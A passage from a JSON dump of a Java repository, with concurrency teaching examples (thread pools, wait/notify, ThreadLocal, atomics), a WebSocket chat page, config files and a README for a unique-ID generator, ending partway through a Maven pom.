    "content": "实现多生产者，多消费者模式。\n\n1，使用阻塞队列缓存被消费对象。\n\n阻塞队列：\n阻塞队列（BlockingQueue）是一个支持两个附加操作的队列。这两个附加的操作支持阻塞\n的插入和移除方法。\n1）支持阻塞的插入方法：意思是当队列满时，队列会阻塞插入元素的线程，直到队列不\n满。\n2）支持阻塞的移除方法：意思是在队列为空时，获取元素的线程会等待队列变为非空。\nJDK 7提供了7个阻塞队列，如下。\n·ArrayBlockingQueue：一个由数组结构组成的有界阻塞队列。\n·LinkedBlockingQueue：一个由链表结构组成的有界阻塞队列。\n·PriorityBlockingQueue：一个支持优先级排序的无界阻塞队列。\n·DelayQueue：一个使用优先级队列实现的无界阻塞队列。\n·SynchronousQueue：一个不存储元素的阻塞队列。\n·LinkedTransferQueue：一个由链表结构组成的无界阻塞队列。\n·LinkedBlockingDeque：一个由链表结构组成的双向阻塞队列。\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/threadTest/Profiler.java",
    "content": "package com.jun.base.threadTest;\n\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.TimeUnit;\n\n/**\n *\n *\n Profiler可以被复用在方法调用耗时统计的功能上，在方法的入口前执行begin()方法，在\n 方法调用后执行end()方法，好处是两个方法的调用不用在一个方法或者类中，比如在AOP（面\n 向方面编程）中，可以在方法调用前的切入点执行begin()方法，而在方法调用后的切入点执行\n end()方法，这样依旧可以获得方法的执行耗时。\n\n\n ThreadLocal使用\n http://ifeve.com/threadlocal%E4%BD%BF%E7%94%A8/\n *\n */\npublic class Profiler {\n    // 第一次get()方法调用时会进行初始化（如果set方法没有调用），每个线程会调用一次\n    private static final ThreadLocal<Long> TIME_THREADLOCAL = new ThreadLocal<Long>() {\n        protected Long initialValue() {\n            return System.currentTimeMillis();\n        }\n    };\n    public static final void begin() {\n        TIME_THREADLOCAL.set(System.currentTimeMillis());\n    }\n    public static final long end() {\n        return System.currentTimeMillis() - TIME_THREADLOCAL.get();\n    }\n    public static void main(String[] args) throws Exception {\n        Profiler.begin();\n        TimeUnit.SECONDS.sleep(1);\n        System.out.println(\"Cost: \" + Profiler.end() + \" mills\");\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/threadTest/Test.java",
    "content": "package com.jun.base.threadTest;\n\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\npublic class Test {\n\n\n   static   Boolean is = true;\n    public static void main(String[] args) {\n\n        ExecutorService fixedThreadPool = Executors.newFixedThreadPool(8);\n        for (int i = 0; i < 12; i++) {\n            final int index = i;\n            fixedThreadPool.execute(new Runnable() {\n\n\n                @Override\n                public void run() {\n                  a();\n                }\n            });\n        }\n\n    }\n\n\n    public static void a(){\n\n        if(is){\n\n            System.out.println(\"执行方法\");\n            is= false;\n\n        }\n\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/threadTest/ThreadPool.java",
    "content": "package com.jun.base.threadTest;\n\nimport java.util.concurrent.*;\n\n/**\n * 线程池使用\n *\n *\n Java通过Executors提供四种线程池，分别为：\n\n newCachedThreadPool创建一个可缓存线程池，如果线程池长度超过处理需要，可灵活回收空闲线程，若无可回收，则新建线程。\n newFixedThreadPool 创建一个定长线程池，可控制线程最大并发数，超出的线程会在队列中等待。\n newScheduledThreadPool 创建一个定长线程池，支持定时及周期性任务执行。\n newSingleThreadExecutor 创建一个单线程化的线程池，它只会用唯一的工作线程来执行任务，保证所有任务按照指定顺序(FIFO, LIFO, 优先级)执行。\n\n *\n */\npublic class ThreadPool {\n\n    public static void main(String[] args) {\n\n\n        //cachedThreadPool();\n        //fixedThreadPool();\n        newScheduledThreadPool();\n        //newSingleThreadExecutor();\n\n\n    }\n\n\n    /**\n     * 线程池为无限大，当执行第二个任务时第一个任务已经完成，会复用执行第一个任务的线程，而不用每次新建线程。\n     */\n    public static void cachedThreadPool(){\n        ExecutorService cachedThreadPool = Executors.newCachedThreadPool();\n\n        for (int i = 0; i < 10; i++) {\n            final int index = i;\n            try {\n                Thread.sleep(index * 1000);\n            } catch (InterruptedException e) {\n                e.printStackTrace();\n            }\n\n            cachedThreadPool.execute(new Runnable() {\n\n                @Override\n                public void run() {\n                    System.out.println(index);\n                }\n            });\n        }\n    }\n\n    /**\n     *\n     * 因为线程池大小为3，每个任务输出index后sleep 2秒，所以每两秒打印3个数字。\n     定长线程池的大小最好根据系统资源进行设置。如Runtime.getRuntime().availableProcessors()。可参考PreloadDataCache。\n     */\n    public  static void fixedThreadPool(){\n        ExecutorService fixedThreadPool = Executors.newFixedThreadPool(8);\n        for (int i = 0; i < 10; i++) {\n            final int index = i;\n            fixedThreadPool.execute(new Runnable() {\n\n\n                @Override\n                public void run() {\n                    try {\n                        System.out.println(index);\n                        Thread.sleep(2000);\n                    } catch (InterruptedException e) {\n                        // TODO Auto-generated catch block\n                        e.printStackTrace();\n                    }\n                }\n            });\n        }\n    }\n\n    /**\n     * 创建一个定长线程池，支持定时及周期性任务执行\n     * 表示延迟3秒执行。\n     */\n    public static void newScheduledThreadPool(){\n        //ScheduledThreadPoolExecutor\n        ScheduledExecutorService scheduledThreadPool = Executors.newScheduledThreadPool(5);\n        scheduledThreadPool.schedule(new Runnable() {\n\n            @Override\n            public void run() {\n                System.out.println(\"delay 3 seconds\");\n            }\n        }, 3, TimeUnit.SECONDS);\n\n\n        /**\n         * 表示延迟1秒后每3秒执行一次。\n         ScheduledExecutorService比Timer更安全，功能更强大，后面会有一篇单独进行对比。\n         scheduledThreadPool.scheduleWithFixedDelay()\n         */\n        scheduledThreadPool.scheduleAtFixedRate(new Runnable() {\n            @Override\n            public void run() {\n                System.out.println(\"delay 1 seconds, and excute every 3 seconds\");\n            }\n        }, 1, 3, TimeUnit.SECONDS);\n\n\n\n    }\n\n    /**\n     * 创建一个单线程化的线程池，它只会用唯一的工作线程来执行任务，保证所有任务按照指定顺序(FIFO, LIFO, 优先级)执行\n     */\n    public static  void newSingleThreadExecutor(){\n        ExecutorService singleThreadExecutor = Executors.newSingleThreadExecutor();\n        for (int i = 0; i < 10; i++) {\n            final int index = i;\n            singleThreadExecutor.execute(new Runnable() {\n\n                @Override\n                public void run() {\n                    try {\n                        System.out.println(index);\n                        Thread.sleep(2000);\n                    } catch (InterruptedException e) {\n                        // TODO Auto-generated catch block\n                        e.printStackTrace();\n                    }\n                }\n            });\n        }\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/threadTest/WaitNotify.java",
    "content": "package com.jun.base.threadTest;\n\nimport java.text.SimpleDateFormat;\nimport java.util.*;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n *  wait()、notify()、notifyAll()  必须用在 synchronized内 使用\n *\n *\n 等待/通知机制，是指一个线程A调用了对象O的wait()方法进入等待状态，而另一个线程B\n 调用了对象O的notify()或者notifyAll()方法，线程A收到通知后从对象O的wait()方法返回，进而\n 执行后续操作。上述两个线程通过对象O来完成交互，而对象上的wait()和notify/notifyAll()的\n 关系就如同开关信号一样，用来完成等待方和通知方之间的交互工作。\n\n *\n *\n *\n 1）使用wait()、notify()和notifyAll()时需要先对调用对象加锁。\n\n 2）调用wait()方法后，线程状态由RUNNING变为WAITING，并将当前线程放置到对象的\n 等待队列。\n\n 3）notify()或notifyAll()方法调用后，等待线程依旧不会从wait()返回，需要调用notify()或\n notifAll()的线程释放锁之后，等待线程才有机会从wait()返回。\n\n 4）notify()方法将等待队列中的一个等待线程从等待队列中移到同步队列中，而notifyAll()\n 方法则是将等待队列中所有的线程全部移到同步队列，被移动的线程状态由WAITING变为\n BLOCKED。\n\n 5）从wait()方法返回的前提是获得了调用对象的锁。\n\n *\n *\n */\npublic class WaitNotify {\n\n    static boolean flag = true;\n    //static Object lock = new Object();\n    final static Map lock = new HashMap<>(3);\n\n    public static void main(String[] args) throws InterruptedException {\n\n        Thread wait = new Thread(new Wait(),\"waitThread\");\n        wait.start();\n\n\n\n        TimeUnit.SECONDS.sleep(5L);\n\n        Thread notify = new Thread(new Notity(),\"NotifyThread\");\n        notify.start();\n\n\n    }\n\n    static class Wait implements Runnable{\n\n        @Override\n        public void run() {\n            //加锁，拥有lock的Monitor\n            synchronized (lock){\n\n                //当条件不满足时，继续wait,同时释放了lock的锁\n               // while (flag){\n                    System.out.println(5);\n                    lock.put(\"k\",\"A\");\n                    try {\n                        System.out.println(Thread.currentThread()+\"flag is  true @ \" +\n                                new SimpleDateFormat(\"HH:mm:ss\").format(new Date()));\n                        lock.wait();\n                    } catch (InterruptedException e) {\n                        e.printStackTrace();\n                    }\n\n                    System.err.println(\"lock =\" +lock.get(\"k\"));\n                    // 条件满足时，完成工作\n                    System.out.println(Thread.currentThread() + \"完成工作 flag is false. running @ \" +\n                            new SimpleDateFormat(\"HH:mm:ss\").format(new Date()));\n\n               // }\n            }\n        }\n    }\n\n    static class Notity implements  Runnable{\n\n        @Override\n        public void run() {\n            // 加锁，拥有lock的Monitor\n            synchronized (lock){\n\n                // 获取lock的锁，然后进行通知，通知时不会释放lock的锁，\n                // 直到当前线程释放了lock后，WaitThread才能从wait方法中返回\n                System.out.println(Thread.currentThread() + \" hold lock. notify @ \" +\n                        new SimpleDateFormat(\"HH:mm:ss\").format(new Date()));\n\n                lock.notifyAll();\n                flag = false;\n                lock.put(\"k\",\"B\");\n\n            }\n\n\n            // 再次加锁\n            synchronized (lock) {\n                System.out.println(Thread.currentThread() + \"再次加锁 hold lock again. sleep @ \" +\n                        new SimpleDateFormat(\"HH:mm:ss\").format(new Date()));\n\n            }\n\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/threadTest/atomic/IntLongBoo.java",
    "content": "package com.jun.base.threadTest.atomic;\n\nimport com.sun.org.apache.xpath.internal.SourceTree;\n\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.atomic.AtomicInteger;\n\npublic class IntLongBoo {\n\n    static AtomicInteger ai = new AtomicInteger(0);\n    static StringBuffer s = new StringBuffer();\n    //static StringBuilder s = new StringBuilder();\n    public static void main(String[] args) {\n        ExecutorService fixedThreadPool = Executors.newFixedThreadPool(3);\n\n\n        for(int i = 0; i <=15; i++){\n\n            final int j = i;\n            fixedThreadPool.execute(new Runnable() {\n\n                @Override\n                public void run() {\n                    try {\n\n                        ai.getAndIncrement();\n                        System.err.println(ai.get());\n                        //ai.getAndIncrement();//后执行就会出现多个0   ai.get()方法没有加锁\n                        s.append(j+\"-\");\n                        //s.append(j);\n                        System.out.println(\"------------------=\"+s.toString());\n\n                    } catch (Exception e) {\n                        // TODO Auto-generated catch block\n                        e.printStackTrace();\n                    }\n                }\n            });\n        }\n\n\n    }\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/volatileTest/read.txt",
    "content": "volatile 变量使用\n\n1，对其它线程可见性。原理是：别的线程每次使用前都是要刷新一下值，并不是原子性同步。所有还是会出现线程不安全。\n\n2，禁止指令重新排序。也就是会出现机器实际执行可能和代码的顺序不一样。使用volatile可以禁止重新排序。"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/resources/ReadMe.txt",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/resources/WebsocketChatClient.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>WebSocket Chat</title>\n</head>\n<body>\n<script type=\"text/javascript\">\n    var socket;\n    if (!window.WebSocket) {\n        window.WebSocket = window.MozWebSocket;\n    }\n    if (window.WebSocket) {\n        socket = new WebSocket(\"ws://192.168.10.159:8080/ws\");\n        socket.onmessage = function(event) {\n            var ta = document.getElementById('responseText');\n            ta.value = ta.value + '\\n' + event.data\n        };\n        socket.onopen = function(event) {\n            var ta = document.getElementById('responseText');\n            ta.value = \"连接开启!\";\n        };\n        socket.onclose = function(event) {\n            var ta = document.getElementById('responseText');\n            ta.value = ta.value + \"连接被关闭\";\n        };\n    } else {\n        alert(\"你的浏览器不支持 WebSocket！\");\n    }\n\n    function send(message) {\n        if (!window.WebSocket) {\n            return;\n        }\n        if (socket.readyState == WebSocket.OPEN) {\n            socket.send(message);\n        } else {\n            alert(\"连接没有开启.\");\n        }\n    }\n</script>\n<form onsubmit=\"return false;\">\n    <h3>WebSocket 聊天室：</h3>\n    <textarea id=\"responseText\" style=\"width: 500px; height: 300px;\"></textarea>\n    <br>\n    <input type=\"text\" name=\"message\"  style=\"width: 300px\" value=\"你好\">\n    <input type=\"button\" value=\"发送消息\" onclick=\"send(this.form.message.value)\">\n    <input type=\"button\" onclick=\"javascript:document.getElementById('responseText').value=''\" value=\"清空聊天记录\">\n</form>\n<br>\n<br>\n<!--<a href=\"http://www.waylau.com/\" >更多例子请访问 www.waylau.com</a>-->\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/resources/log4j2.properties",
    "content": "appender.console.type = Console\nappender.console.name = console\nappender.console.layout.type = PatternLayout\n\nrootLogger.level = info\nrootLogger.appenderRef.console.ref = console\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_mail</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/test/java/io/github/wujun728/threadpool/ThreadPoolDemoTest.java",
    "content": "package io.github.wujun728.threadpool;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport com.jun.base.executor.threadpool.ThreadPoolDemo;\n\nimport java.util.concurrent.ExecutionException;\n\n/**\n * 描述: 测试\n *\n * @author Wujun\n * @date : 2020-01-28 15:14\n */\npublic class ThreadPoolDemoTest {\n    private static ThreadPoolDemo threadPoolDemo = new ThreadPoolDemo();\n\n    /**\n     * ES 客户端的创建：获取Rest高级客户端\n     */\n    @BeforeEach\n    void init() {\n\n    }\n\n    /**\n     * 创建2个线程的fixedThreadPool ，当2个都为活跃的时候，\n     * 后面的任务会被加入链式队列（LinkedBlockingQueue）\n     *\n     * @throws ExecutionException   执行异常\n     * @throws InterruptedException 中断异常\n     */\n    @Test\n    void fixedThreadPool() throws ExecutionException, InterruptedException {\n        threadPoolDemo.fixedThreadPool(2);\n    }\n\n    @Test\n    void cacheThreadPool() throws ExecutionException, InterruptedException {\n        threadPoolDemo.cacheThreadPool();\n    }\n\n    /**\n     * 定时定期的线程池不能使用单元测试，好像不能执行？\n     *\n     * @param args 主函数\n     */\n    public static void main(String[] args) {\n        threadPoolDemo.scheduledThreadPool();\n    }\n\n    @Test\n    void singleThreadPool() throws ExecutionException, InterruptedException {\n        threadPoolDemo.singleThreadPool();\n    }\n\n\n    @AfterEach\n    void shutdown() {\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/.gitignore",
    "content": "# Compiled class file\n*.class\n\n# Log file\n*.log\n\n# BlueJ files\n*.ctxt\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.jar\n*.war\n*.nar\n*.ear\n*.zip\n*.tar.gz\n*.rar\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/README.md",
    "content": "# ecp-uid\n居于美团leaf、百度UidGenerator、原生snowflake 进行整合的 唯一ID生成器\n\n一、介绍\n-------------------\n   1、本项目为uid生成器，支持segment、snowflake、UidGenerator、spring四种策略生成id\n   \n   2、本项目可生成混淆id，目前混淆策略为：gene(基因法)\n\n   3、项目地址：\n      github ： https://github.com/linhuaichuan/ecp-uid\n      码云： https://gitee.com/zmds/ecp-uid\n   \n二、策略说明\n-------------------\n   1、snowflake\n     snowflake 是基于Twitter [snowflake](https://github.com/twitter/snowflake) 算法的优化策略\n     本策略优化了闰秒回拨处理、新增默认workId 与 datacenterId 的提供方法。\n     <bean id=\"snowflakeUidStrategy\" class=\"**.TwitterSnowflakeStrategy\"/> \n     \n   2、baidu\n      是 基于[百度UidGenerator](https://github.com/baidu/uid-generator)上的的优化策略。\n     \t<bean id=\"baiduUidStrategy\" class=\"**.BaiduUidStrategy\"/> \n     \t\t \n     (1)、workerId提供策略\n         * DisposableWorkerIdAssigner，利用数据库来管理生成workId，依赖数据库和spring-jdbc框架(需有jdbcTemplate的bean)。mysql表示例：\n\t\tDROP TABLE IF EXISTS WORKER_NODE;\n\t\tCREATE TABLE WORKER_NODE (\n\t\t\tID BIGINT NOT NULL AUTO_INCREMENT COMMENT '自增 id',\n\t\t\tHOST_NAME VARCHAR(64) NOT NULL COMMENT '主机名',\n\t\t\tPORT VARCHAR(64) NOT NULL COMMENT '端口',\n\t\t\tTYPE INT NOT NULL COMMENT '节点类型: ACTUAL or CONTAINER',\n\t\t\tLAUNCH_DATE DATE NOT NULL COMMENT '启动时间',\n\t\t\tMODIFIED TIMESTAMP NOT NULL COMMENT '修改时间',\n\t\t\tCREATED TIMESTAMP NOT NULL COMMENT '创建时间',\n\t\t\tPRIMARY KEY(ID)\n\t\t) COMMENT='DB WorkerID Assigner for UID Generator',ENGINE = INNODB;\n\t\t \n\t\t示例：\n\t\t<bean id=\"disposableWorker\" class=\"**.DisposableWorkerIdAssigner\"/>\n\t\t<bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\">...</bean>\n\t\t\t\n         * SimpleWorkerIdAssigner ，固定了workId的提供。值为0.示例：\n\t\t<bean id=\"simpleWorker\" class=\"**.SimpleWorkerIdAssigner\"/>\n         \n         * ZkWorkerIdAssigner ，利用zookeeper来实现wordId的提供管理，依赖原生Zookeeper驱动.示例：\n\t\t<bean id=\"zkWorker\" class=\"**.ZkWorkerIdAssigner\"/>\n\t\t可设置interval-心跳间隔、pidHome-workerId文件存储目录、zkAddress-zk地址、pidPort-心跳端口\n         \n         * RedisWorkIdAssigner ，利用redis来实现wordId的提供管理，依赖了spring-data-redis框架的RedisTemplate.示例：\n\t\t<bean id=\"redisWorker\" class=\"**.RedisWorkIdAssigner\"/>\n\t\t可设置interval-心跳间隔、pidHome-workerId文件存储目录、pidPort-心跳端口\n\n     (2)、uid生成策略\n         * DefaultUidGenerator 是Snowflake算法的变种，取消datacenterId, 并扩展了支持自定义workerId位数和初始化策略。\n           a、可配置 delta seconds (28 bits)  \n\t          当前时间，相对于时间基点\"2016-05-20\"的增量值，单位：秒，最多可支持约8.7年\n\n           b、worker id (22 bits)  \n                  机器id，最多可支持约420w次机器启动。内置实现为在启动时由数据库分配，默认分配策略为用后即弃，后续可提供复用策略。\n\n           c、sequence (13 bits)   \n                  每秒下的并发序列，13 bits可支持每秒8192个并发。\n                                   \n           注： 三者之和为63\n                            \n           示例：\n            <bean id=\"defaultUidGenerator\" class=\"com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator\" scope=\"prototype\">\n               <property name=\"workerIdAssigner\" ref=\"disposableWorkerIdAssigner\"/>\n               <property name=\"timeBits\" value=\"29\"/>\n               <property name=\"workerBits\" value=\"21\"/>\n               <property name=\"seqBits\" value=\"13\"/>\n               <property name=\"epochStr\" value=\"2017-12-25\"/>\n            </bean>\n            \n         * CachedUidGenerator借用未来时间来解决sequence天然存在的并发限制; 采用RingBuffer来缓存已生成的UID, 并行化UID的生产和消费,\n\t    同时对CacheLine补齐，避免了由RingBuffer带来的硬件级「伪共享」问题. 最终单机QPS可达600万\n\n\t    示例：\n            <bean id=\"cachedUidGenerator\" class=\"com.myzmds.ecp.core.uid.baidu.impl.CachedUidGenerator\" scope=\"prototype\">\n               <property name=\"workerIdAssigner\" ref=\"disposableWorkerIdAssigner\" />\n\n               <!-- 以下为可选配置, 如未指定将采用默认值 -->\n               <!-- RingBuffer size扩容参数, 可提高UID生成的吞吐量. --> \n               <!-- 默认:3， 原bufferSize=8192, 扩容后bufferSize= 8192 << 3 = 65536 -->\n               <!--<property name=\"boostPower\" value=\"3\"></property>--> \n               \n               <!-- 指定何时向RingBuffer中填充UID, 取值为百分比(0, 100), 默认为50 -->\n               <!-- 举例: bufferSize=1024, paddingFactor=50 -> threshold=1024 * 50 / 100 = 512. -->\n               <!-- 当环上可用UID数量 < 512时, 将自动对RingBuffer进行填充补全 -->\n               <!--<property name=\"paddingFactor\" value=\"50\"></property>--> \n               \n               <!-- 另外一种RingBuffer填充时机, 在Schedule线程中, 周期性检查填充 -->\n               <!-- 默认:不配置此项, 即不实用Schedule线程. 如需使用, 请指定Schedule线程时间间隔, 单位:秒 -->\n               <!--<property name=\"scheduleInterval\" value=\"60\"></property>--> \n               \n               <!-- 拒绝策略: 当环已满, 无法继续填充时 -->\n               <!-- 默认无需指定, 将丢弃Put操作, 仅日志记录. 如有特殊需求, 请实现RejectedPutBufferHandler接口(支持Lambda表达式) -->\n               <!--<property name=\"rejectedPutBufferHandler\" ref=\"XxxxYourPutRejectPolicy\"></property>--> \n               \n               <!-- 拒绝策略: 当环已空, 无法继续获取时 -->\n               <!-- 默认无需指定, 将记录日志, 并抛出UidGenerateException异常. 如有特殊需求, 请实现RejectedTakeBufferHandler接口 -->\n               <!--<property name=\"rejectedPutBufferHandler\" ref=\"XxxxYourPutRejectPolicy\"></property>--> \n            </bean>\n            \n     (3)、比特分配的建议\n         *对于并发数要求不高、期望长期使用的应用, 可增加```timeBits```位数, 减少```seqBits```位数. \n\t   例如节点采取用完即弃的WorkerIdAssigner策略, 重启频率为12次/天,\n\t   那么配置成```{\"workerBits\":23,\"timeBits\":31,\"seqBits\":9}```时, 可支持28个节点以整体并发量14400 UID/s的速度持续运行68年.\n\n         *对于节点重启频率频繁、期望长期使用的应用, 可增加```workerBits```和```timeBits```位数, 减少```seqBits```位数.\n\t   例如节点采取用完即弃的WorkerIdAssigner策略, 重启频率为24*12次/天,\n\t   那么配置成```{\"workerBits\":27,\"timeBits\":30,\"seqBits\":6}```时, 可支持37个节点以整体并发量2400 UID/s的速度持续运行34年.\n                           \n   3、segment\n     是 基于美团[leaf-segment](https://tech.meituan.com/MT_Leaf.html) 的优化策略, 使用双Buffer实现。依赖数据库与spring-jdbc框架\n     <bean id=\"leafUidStrategy\" class=\"**.LeafSegmentStrategy\"/> \n     \n     (1)、SegmentServiceImpl 是具体实现类，数据库表结构为(mysql示例)：\n\t  DROP TABLE IF EXISTS id_segment;\n\t  CREATE TABLE id_segment (\n\t\tBIZ_TAG VARCHAR(64) NOT NULL COMMENT '业务标识',\n\t\tSTEP int NOT NULL COMMENT '步长',\n\t\tMAX_ID BIGINT NOT NULL COMMENT '最大值',\n\t\tLAST_UPDATE_TIME TIMESTAMP NOT NULL COMMENT '上次修改时间',\n\t\tCURRENT_UPDATE_TIME TIMESTAMP NOT NULL COMMENT '当前修改时间',\n\t\tPRIMARY KEY(BIZ_TAG)\n\t  ) COMMENT='号段存储表',ENGINE = INNODB;\n     \n     (2)、支持 同步/异步两种更新数据库方式。可选配置asynLoadingSegment(true-异步，false-同步)，默认使用异步。\n          示例：\n          <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\">...</bean>\n                    \n   4、spring 增量ID\n      是 基于 segment策略提供给spring 增量实现。非直接使用的策略\n   \n   5、混淆算法\n      是 基于 基因分库法这个理论扩展出来的混淆算法\n      \n三 、使用\n-------------------\n     <bean class=\"**.UidContext\">\n         <property name=\"uidStrategy\" ref=\"上述任何策略\" />\n         <property name=\"factor\" value=\"可选：基因因子，如设置则启用混淆\" />\n         <property name=\"fixed\" value=\"可选：除余底数，建议使用固定值，不可更改\" />\n     </bean>\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <name>jun_uid</name>\n\t<groupId>io.github.wujun728</groupId>\n    <artifactId>jun_uid</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n \n\t<properties>\n\t\t<!-- 项目编码 -->\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t<!-- jdk版本 -->\n\t\t<java.version>1.8</java.version>\n\t\t\n\t\t<commons-lang3.version>3.5</commons-lang3.version>\n\t\t<org.springframework.version>4.3.19.RELEASE</org.springframework.version>\n\t\t<org.springframework.data.version>1.8.15.RELEASE</org.springframework.data.version>\n\t\t\n\t\t<mysql.version>5.1.47</mysql.version>\n\t\t<slf4j.version>1.7.25</slf4j.version>\n\t\t<zookeeper.version>3.4.14</zookeeper.version>\n\n\t\t<lombok.version>1.18.4</lombok.version>\n\t\t<junit.version>4.12</junit.version>\n\t</properties>\n\n\t<build>\n\t\t<sourceDirectory>src/main/java</sourceDirectory>\n\t\t<resources>\n\t\t\t<!--打包资源文件 -->\n\t\t\t<resource>\n\t\t\t\t<directory>src/main/resources</directory>\n\t\t\t\t<filtering>true</filtering>\n\t\t\t\t<includes>\n\t\t\t\t\t<include>**</include>\n\t\t\t\t</includes>\n\t\t\t</resource>\n\t\t</resources>\n\t\t<testSourceDirectory>src/test/java</testSourceDirectory>\n\t\t<testResources>\n\t\t\t<testResource>\n\t\t\t\t<directory>src/test/resources</directory>\n\t\t\t\t<includes>\n\t\t\t\t\t<include>**</include>\n\t\t\t\t</includes>\n\t\t\t</testResource>\n\t\t</testResources>\n\t\t<pluginManagement>\n\t\t\t<plugins>\n\t\t\t\t<!-- 编译插件 -->\n\t\t\t\t<plugin>\n\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t\t<version>3.8.0</version>\n\t\t\t\t\t<configuration>\n\t\t\t\t\t\t<source>${java.version}</source>\n\t\t\t\t\t\t<target>${java.version}</target>\n\t\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t\t</configuration>\n\t\t\t\t</plugin>\n\t\t\t\t<!-- 资源插件 -->\n\t\t\t\t<plugin>\n\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t<artifactId>maven-resources-plugin</artifactId>\n\t\t\t\t\t<version>3.1.0</version>\n\t\t\t\t\t<configuration>\n\t\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t\t\t<!-- 过滤后缀为pem、pfx的证书文件 -->\n\t\t\t\t\t\t<nonFilteredFileExtensions>\n\t\t\t\t\t\t\t<nonFilteredFileExtension>pem</nonFilteredFileExtension>\n\t\t\t\t\t\t\t<nonFilteredFileExtension>jks</nonFilteredFileExtension>\n\t\t\t\t\t\t\t<nonFilteredFileExtension>pfx</nonFilteredFileExtension>\n\t\t\t\t\t\t</nonFilteredFileExtensions>\n\t\t\t\t\t</configuration>\n\t\t\t\t</plugin>\n\t\t\t\t<!-- jar插件 -->\n\t\t\t\t<plugin>\n\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t\t\t\t<version>3.1.0</version>\n\t\t\t\t</plugin>\n\t\t\t</plugins>\n\t\t</pluginManagement>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t</plugin>\n\t\t\t<plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-resources-plugin</artifactId>\n\t\t\t</plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n    <!-- 覆盖super pom中central的设置，允许下载snapshot的构件 -->\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>central</id>\n\t\t\t<url>http://repo1.maven.org/maven2</url>\n\t\t\t<snapshots>\n\t\t\t\t<!-- (可解决parent 版本为snapshot，子项目无法独立打包问题) -->\n\t\t\t\t<enabled>true</enabled>\n\t\t\t</snapshots>\n\t\t</repository>\n\t\t<repository>\n\t\t\t<id>osgeo</id>\n\t\t\t<name>Open Source Geospatial Foundation Repository</name>\n\t\t\t<url>http://download.osgeo.org/webdav/geotools/</url>\n\t\t</repository>\n\t</repositories>\n\n    <dependencies>\n        <!-- Spring -->\n        